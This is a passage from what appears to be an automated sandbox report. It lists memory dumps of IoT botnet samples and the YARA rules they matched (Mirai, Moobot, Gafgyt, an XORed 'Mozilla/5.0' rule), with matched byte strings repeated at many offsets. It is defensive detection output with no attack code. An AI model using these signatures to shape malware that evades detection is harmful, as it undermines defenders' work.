33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6327.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6273.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7135.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6407.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6407.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6407.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6407.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6407.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6407.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6597.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6597.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6597.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6317.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6317.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6317.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6317.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6597.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6597.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6597.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6788.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6788.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6788.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6788.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6788.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6788.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6669.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6669.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6669.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6669.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6669.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6669.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6317.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6317.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6977.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6572.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6572.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6572.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6572.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6572.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 